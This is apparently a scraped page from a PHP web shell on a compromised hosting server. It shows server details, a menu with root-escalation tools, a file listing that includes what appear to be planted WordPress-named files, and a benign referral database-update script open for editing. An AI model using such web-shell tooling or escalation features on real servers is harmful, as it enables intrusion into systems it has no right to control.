Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
abayar /
Delete
Unzip
Name
Size
Permission
Date
Action
.well-known
[ DIR ]
drwxr-xr-x
2026-01-09 22:13
admin
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
assets
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
fast-earn-limited
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
includes
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
uploads
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
user
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
.htaccess
197
B
-r--r--r--
2026-04-01 03:43
ADMIN_LOGIN.txt
13.54
KB
-rw-r--r--
2025-12-22 19:34
COMPLETION.txt
20.92
KB
-rw-r--r--
2025-12-22 19:22
FEATURES.txt
16.92
KB
-rw-r--r--
2025-12-22 19:13
FIX_DATABASE_ERROR.txt
8.7
KB
-rw-r--r--
2025-12-22 19:37
FIX_UPLOAD_ERROR.txt
10.1
KB
-rw-r--r--
2025-12-22 19:45
INSTALLATION.txt
8.73
KB
-rw-r--r--
2025-12-22 19:12
PROJECT_STATUS.txt
12.33
KB
-rw-r--r--
2025-12-22 19:14
QUICK_START.txt
14.12
KB
-rw-r--r--
2025-12-22 19:15
README.md
10.54
KB
-rw-r--r--
2025-12-22 19:11
V2_UPGRADE_NOTES.txt
5.88
KB
-rw-r--r--
2025-12-22 20:04
checkout.php
16.2
KB
-rw-r--r--
2026-01-07 16:26
contact.php
6.71
KB
-rw-r--r--
2026-01-07 16:36
create_folders.php
2.91
KB
-rw-r--r--
2025-12-22 19:44
database.sql
9.14
KB
-rw-r--r--
2025-12-22 19:52
full_setup.php
29.74
KB
-rw-r--r--
2026-01-26 16:55
index.php
30.43
KB
-rw-r--r--
2026-01-07 16:56
login.php
8.83
KB
-rw-r--r--
2025-12-30 13:45
logout.php
151
B
-rw-r--r--
2025-12-22 19:01
products.php
4.69
KB
-rw-r--r--
2026-01-07 16:39
register.php
14.14
KB
-rw-r--r--
2025-12-30 13:25
seed_products.php
559
B
-rw-r--r--
2026-01-07 16:15
update_database.sql
781
B
-rw-r--r--
2025-12-22 19:36
update_db.php
4.07
KB
-rw-r--r--
2025-12-22 19:36
update_db_v10.php
816
B
-rw-r--r--
2025-12-24 21:22
update_db_v11.php
681
B
-rw-r--r--
2025-12-24 21:53
update_db_v12.php
590
B
-rw-r--r--
2026-01-07 16:12
update_db_v2.php
2.13
KB
-rw-r--r--
2025-12-22 19:53
update_db_v3.php
2.76
KB
-rw-r--r--
2025-12-22 20:05
update_db_v4.php
1.43
KB
-rw-r--r--
2025-12-22 20:11
update_db_v5.php
1.9
KB
-rw-r--r--
2025-12-23 19:11
update_db_v6.php
1.91
KB
-rw-r--r--
2025-12-23 19:29
update_db_v7.php
3.05
KB
-rw-r--r--
2025-12-23 19:33
wp-blog-header.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php /** * Database Update V7 - Verified Referrals only * This script ensures only referrals who have purchased a plan count towards the referral_count. */ require_once 'includes/config.php'; echo "<h2>⚙️ Setting up Verified Referrals...</h2>"; try { // 1. Add status column to referrals table if it doesn't exist $pdo->exec("ALTER TABLE referrals ADD COLUMN status ENUM('unpaid', 'paid') DEFAULT 'unpaid' AFTER referred_id"); echo "<p style='color:green'>✓ Added 'status' column to referrals table</p>"; // 2. Clear all existing referral_counts to recalculate from scratch $pdo->exec("UPDATE users SET referral_count = 0"); echo "<p style='color:green'>✓ Reset referral_counts for recalculation</p>"; // 3. Mark referrals as 'paid' if the referred user has an active or lived plan-linked deposit // We check if the user has at least one 'active' or 'expired' plan. // This indicates they have purchased something at least once. $stmt = $pdo->query(" SELECT r.id, r.referrer_id, r.referred_id FROM referrals r WHERE EXISTS ( SELECT 1 FROM user_plans up WHERE up.user_id = r.referred_id AND up.status IN ('active', 'expired') ) "); $paidReferrals = $stmt->fetchAll(); foreach ($paidReferrals as $ref) { // Update referral status $pdo->prepare("UPDATE referrals SET status = 'paid' WHERE id = ?")->execute([$ref['id']]); // Increment referrer count $pdo->prepare("UPDATE users SET referral_count = referral_count + 1 WHERE id = ?")->execute([$ref['referrer_id']]); } echo "<p style='color:green'>✓ Recalculated referral counts based on " . count($paidReferrals) . " verified purchases.</p>"; echo "<h3>✅ Update Complete!</h3>"; echo "<a href='user/referral.php'>View My Team</a>"; } catch (PDOException $e) { if (strpos($e->getMessage(), 'Duplicate column name') !== false) { echo "<p style='color:orange'>⚠️ Column already exists. Recalculating counts anyway...</p>"; // Recalculate anyway logic $pdo->exec("UPDATE users SET referral_count = 0"); $stmt = $pdo->query(" SELECT r.id, r.referrer_id, r.referred_id FROM referrals r WHERE EXISTS ( SELECT 1 FROM user_plans up WHERE up.user_id = r.referred_id AND up.status IN ('active', 'expired') ) "); $paidReferrals = $stmt->fetchAll(); foreach ($paidReferrals as $ref) { $pdo->prepare("UPDATE referrals SET status = 'paid' WHERE id = ?")->execute([$ref['id']]); $pdo->prepare("UPDATE users SET referral_count = referral_count + 1 WHERE id = ?")->execute([$ref['referrer_id']]); } echo "<p style='color:green'>✓ Recalculated referral counts based on " . count($paidReferrals) . " verified purchases.</p>"; } else { echo "<h3 style='color:red'>❌ Error: " . $e->getMessage() . "</h3>"; } }